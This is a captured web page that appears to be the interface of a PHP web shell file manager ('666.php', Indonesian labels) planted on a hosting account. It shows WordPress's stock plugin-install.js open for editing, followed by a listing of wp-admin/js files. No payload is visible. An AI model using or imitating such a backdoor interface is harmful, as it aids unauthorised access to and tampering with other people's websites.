??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/mayshine.co.uk/wp-admin/js/plugin-install.js
⬅ Kembali
/**
* @file Functionality for the plugin install screens.
*
* @output wp-admin/js/plugin-install.js
*/
/* global tb_click, tb_remove, tb_position */
jQuery( function( $ ) {
var tbWindow,
$iframeBody,
$tabbables,
$firstTabbable,
$lastTabbable,
$focusedBefore = $(),
$uploadViewToggle = $( '.upload-view-toggle' ),
$wrap = $ ( '.wrap' ),
$body = $( document.body );
window.tb_position = function() {
var width = $( window ).width(),
H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
W = ( 792 < width ) ? 772 : width - 20;
tbWindow = $( '#TB_window' );
if ( tbWindow.length ) {
tbWindow.width( W ).height( H );
$( '#TB_iframeContent' ).width( W ).height( H );
tbWindow.css({
'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
});
if ( typeof document.body.style.maxWidth !== 'undefined' ) {
tbWindow.css({
'top': '30px',
'margin-top': '0'
});
}
}
return $( 'a.thickbox' ).each( function() {
var href = $( this ).attr( 'href' );
if ( ! href ) {
return;
}
href = href.replace( /&width=[0-9]+/g, '' );
href = href.replace( /&height=[0-9]+/g, '' );
$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
});
};
$( window ).on( 'resize', function() {
tb_position();
});
/*
* Custom events: when a Thickbox iframe has loaded and when the Thickbox
* modal gets removed from the DOM.
*/
$body
.on( 'thickbox:iframe:loaded', tbWindow, function() {
/*
* Return if it's not the modal with the plugin details iframe. Other
* thickbox instances might want to load an iframe with content from
* an external domain. Avoid to access the iframe contents when we're
* not sure the iframe loads from the same domain.
*/
if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
return;
}
iframeLoaded();
})
.on( 'thickbox:removed', function() {
// Set focus back to the element that opened the modal dialog.
// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
$focusedBefore.trigger( 'focus' );
});
function iframeLoaded() {
var $iframe = tbWindow.find( '#TB_iframeContent' );
// Get the iframe body.
$iframeBody = $iframe.contents().find( 'body' );
// Get the tabbable elements and handle the keydown event on first load.
handleTabbables();
// Set initial focus on the "Close" button.
$firstTabbable.trigger( 'focus' );
/*
* When the "Install" button is disabled (e.g. the Plugin is already installed)
* then we can't predict where the last focusable element is. We need to get
* the tabbable elements and handle the keydown event again and again,
* each time the active tab panel changes.
*/
$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
handleTabbables();
});
// Close the modal when pressing Escape.
$iframeBody.on( 'keydown', function( event ) {
if ( 27 !== event.which ) {
return;
}
tb_remove();
});
}
/*
* Get the tabbable elements and detach/attach the keydown event.
* Called after the iframe has fully loaded so we have all the elements we need.
* Called again each time a Tab gets clicked.
* @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
*/
function handleTabbables() {
var $firstAndLast;
// Get all the tabbable elements.
$tabbables = $( ':tabbable', $iframeBody );
// Our first tabbable element is always the "Close" button.
$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
// Get the last tabbable element.
$lastTabbable = $tabbables.last();
// Make a jQuery collection.
$firstAndLast = $firstTabbable.add( $lastTabbable );
// Detach any previously attached keydown event.
$firstAndLast.off( 'keydown.wp-plugin-details' );
// Attach again the keydown event on the first and last focusable elements.
$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
constrainTabbing( event );
});
}
// Constrain tabbing within the plugin modal dialog.
function constrainTabbing( event ) {
if ( 9 !== event.which ) {
return;
}
if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
event.preventDefault();
$firstTabbable.trigger( 'focus' );
} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
event.preventDefault();
$lastTabbable.trigger( 'focus' );
}
}
/*
* Open the Plugin details modal. The event is delegated to get also the links
* in the plugins search tab, after the Ajax search rebuilds the HTML. It's
* delegated on the closest ancestor and not on the body to avoid conflicts
* with other handlers, see Trac ticket #43082.
*/
$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
// The `data-title` attribute is used only in the Plugin screens.
var title = $( this ).data( 'title' ) ?
wp.i18n.sprintf(
// translators: %s: Plugin name.
wp.i18n.__( 'Plugin: %s' ),
$( this ).data( 'title' )
) :
wp.i18n.__( 'Plugin details' );
e.preventDefault();
e.stopPropagation();
// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
$focusedBefore = $( this );
tb_click.call(this);
// Set ARIA role, ARIA label, and add a CSS class.
tbWindow
.attr({
'role': 'dialog',
'aria-label': wp.i18n.__( 'Plugin details' )
})
.addClass( 'plugin-details-modal' );
// Set title attribute on the iframe.
tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
});
/* Plugin install related JS */
$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
var tab = $( this ).attr( 'name' );
event.preventDefault();
// Flip the tab.
$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
$( this ).addClass( 'current' );
// Only show the fyi box in the description section, on smaller screen,
// where it's otherwise always displayed at the top.
if ( 'description' !== tab && $( window ).width() < 772 ) {
$( '#plugin-information-content' ).find( '.fyi' ).hide();
} else {
$( '#plugin-information-content' ).find( '.fyi' ).show();
}
// Flip the content.
$( '#section-holder div.section' ).hide(); // Hide 'em all.
$( '#section-' + tab ).show();
});
/*
* When a user presses the "Upload Plugin" button, show the upload form in place
* rather than sending them to the devoted upload plugin page.
* The `?tab=upload` page still exists for no-js support and for plugins that
* might access it directly. When we're in this page, let the link behave
* like a link. Otherwise we're in the normal plugin installer pages and the
* link should behave like a toggle button.
*/
if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
$uploadViewToggle
.attr({
role: 'button',
'aria-expanded': 'false'
})
.on( 'click', function( event ) {
event.preventDefault();
$body.toggleClass( 'show-upload-view' );
$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
});
}
});
Nama
Tipe
Ukuran
Diubah
Aksi
📁 widgets
dir
—
2026-06-23 08:04
📄 .htaccess
htaccess
237 B
2026-06-23 08:04
📜 accordion.js
js
2.9 KB
2024-10-13 23:09
📜 accordion.min.js
js
758 B
2025-02-06 22:27
📜 application-passwords.js
js
6.2 KB
2023-09-18 02:51
📜 application-passwords.min.js
js
3 KB
2025-02-06 22:27
📜 auth-app.js
js
5.7 KB
2021-02-24 00:45
📜 auth-app.min.js
js
2 KB
2025-02-06 22:27
📜 code-editor.js
js
17.5 KB
2026-05-21 21:28
📜 code-editor.min.js
js
3.5 KB
2026-05-21 21:28
📜 color-picker.js
js
9.5 KB
2021-03-18 23:01
📜 color-picker.min.js
js
3.4 KB
2025-02-06 22:27
📜 comment.js
js
2.9 KB
2024-02-12 00:14
📜 comment.min.js
js
1.3 KB
2022-04-09 00:07
📜 common.js
js
61.3 KB
2026-05-21 21:28
📜 common.min.js
js
23.2 KB
2026-05-21 21:28
📜 custom-background.js
js
3.4 KB
2021-03-18 23:01
📜 custom-background.min.js
js
1.2 KB
2025-02-06 22:27
📜 custom-header.js
js
2 KB
2021-02-24 00:45
📜 customize-controls.js
js
288.4 KB
2025-12-04 03:46
📜 customize-controls.min.js
js
109.7 KB
2025-12-04 03:46
📜 customize-nav-menus.js
js
111.5 KB
2025-12-04 03:46
📜 customize-nav-menus.min.js
js
47.1 KB
2025-12-04 03:46
📜 customize-widgets.js
js
70 KB
2024-06-21 22:17
📜 customize-widgets.min.js
js
27.4 KB
2025-02-06 22:27
📜 dashboard.js
js
27 KB
2025-03-16 23:40
📜 dashboard.min.js
js
8.7 KB
2025-03-16 23:40
📜 edit-comments.js
js
37.2 KB
2026-05-21 21:28
📜 edit-comments.min.js
js
15.2 KB
2026-05-21 21:28
📜 editor-expand.js
js
41.6 KB
2024-04-12 21:47
📜 editor-expand.min.js
js
13.1 KB
2025-02-06 22:27
📜 editor.js
js
44 KB
2025-12-04 03:46
📜 editor.min.js
js
12.8 KB
2025-12-04 03:46
📜 farbtastic.js
js
7.7 KB
2023-07-18 02:03
📜 gallery.js
js
5.4 KB
2023-10-10 01:31
📜 gallery.min.js
js
3.7 KB
2023-10-10 01:31
📜 image-edit.js
js
40 KB
2024-08-28 20:45
📜 image-edit.min.js
js
15.2 KB
2025-02-06 22:27
📜 inline-edit-post.js
js
20.2 KB
2026-05-21 21:28
📜 inline-edit-post.min.js
js
9.4 KB
2026-05-21 21:28
📜 inline-edit-tax.js
js
7.6 KB
2021-03-18 23:01
📜 inline-edit-tax.min.js
js
2.9 KB
2025-02-06 22:27
📜 iris.min.js
js
23.1 KB
2021-11-03 23:40
📜 language-chooser.js
js
890 B
2021-02-24 00:45
📜 language-chooser.min.js
js
423 B
2021-02-24 00:45
📜 link.js
js
4.8 KB
2026-05-21 21:28
📜 link.min.js
js
2.3 KB
2026-05-21 21:28
📜 media-gallery.js
js
1.3 KB
2021-02-24 00:45
📜 media-gallery.min.js
js
611 B
2022-04-09 00:07
📜 media-upload.js
js
3.4 KB
2021-01-22 17:32
📜 media-upload.min.js
js
1.1 KB
2025-02-06 22:27
📜 media.js
js
6.6 KB
2024-10-07 06:49
📜 media.min.js
js
2.4 KB
2025-02-06 22:27
📜 nav-menu.js
js
61.1 KB
2025-12-04 03:46
📜 nav-menu.min.js
js
30.1 KB
2025-12-04 03:46
📜 password-strength-meter.js
js
4.1 KB
2021-01-22 17:32
📜 password-strength-meter.min.js
js
1.1 KB
2025-02-06 22:27
📜 password-toggle.js
js
1.3 KB
2023-06-24 03:09
📜 password-toggle.min.js
js
847 B
2025-02-06 22:27
📜 plugin-install.js
js
6.9 KB
2021-03-18 23:01
📜 plugin-install.min.js
js
2.3 KB
2023-02-02 21:36
📜 post.js
js
39.5 KB
2026-05-21 21:28
📜 post.min.js
js
19 KB
2026-05-21 21:28
📜 postbox.js
js
18.5 KB
2025-03-16 23:40
📜 postbox.min.js
js
6.6 KB
2025-03-16 23:40
📜 privacy-tools.js
js
10.7 KB
2024-06-21 22:17
📜 privacy-tools.min.js
js
5 KB
2024-06-21 22:17
📜 revisions.js
js
33.9 KB
2024-10-14 00:49
📜 revisions.min.js
js
18 KB
2025-02-06 22:27
📜 set-post-thumbnail.js
js
876 B
2020-07-07 22:55
📜 set-post-thumbnail.min.js
js
620 B
2020-07-07 22:55
📜 site-health.js
js
13.6 KB
2026-05-21 21:28
📜 site-health.min.js
js
6.3 KB
2026-05-21 21:28
📜 site-icon.js
js
6.1 KB
2024-08-24 02:47
📜 site-icon.min.js
js
2.2 KB
2025-02-06 22:27
📜 svg-painter.js
js
3.2 KB
2024-09-08 02:44
📜 svg-painter.min.js
js
1.5 KB
2025-02-06 22:27
📜 tags-box.js
js
10.9 KB
2021-03-18 23:01
📜 tags-box.min.js
js
3 KB
2025-02-06 22:27
📜 tags-suggest.js
js
5.6 KB
2024-02-19 03:16
📜 tags-suggest.min.js
js
2.2 KB
2025-02-06 22:27
📜 tags.js
js
6 KB
2025-12-04 03:46
📜 tags.min.js
js
2.4 KB
2025-12-04 03:46
📜 theme-plugin-editor.js
js
25.6 KB
2026-05-21 21:28
📜 theme-plugin-editor.min.js
js
11.8 KB
2026-05-21 21:28
📜 theme.js
js
54.9 KB
2025-12-04 03:46
📜 theme.min.js
js
26.5 KB
2025-12-04 03:46
📜 updates.js
js
109.4 KB
2025-12-04 03:46
📜 updates.min.js
js
47.3 KB
2025-12-04 03:46
📜 user-profile.js
js
17.9 KB
2025-12-04 03:46
📜 user-profile.min.js
js
7.8 KB
2025-12-04 03:46
📜 user-suggest.js
js
2.2 KB
2021-03-18 23:01
📜 user-suggest.min.js
js
676 B
2025-02-06 22:27
📜 widgets.js
js
22.6 KB
2021-03-18 23:01
📜 widgets.min.js
js
12.3 KB
2025-02-06 22:27
📜 word-count.js
js
7.5 KB
2020-07-28 03:35
📜 word-count.min.js
js
1.5 KB
2025-02-06 22:27
📜 xfn.js
js
740 B
2021-03-18 23:01
📜 xfn.min.js
js
458 B
2021-03-18 23:01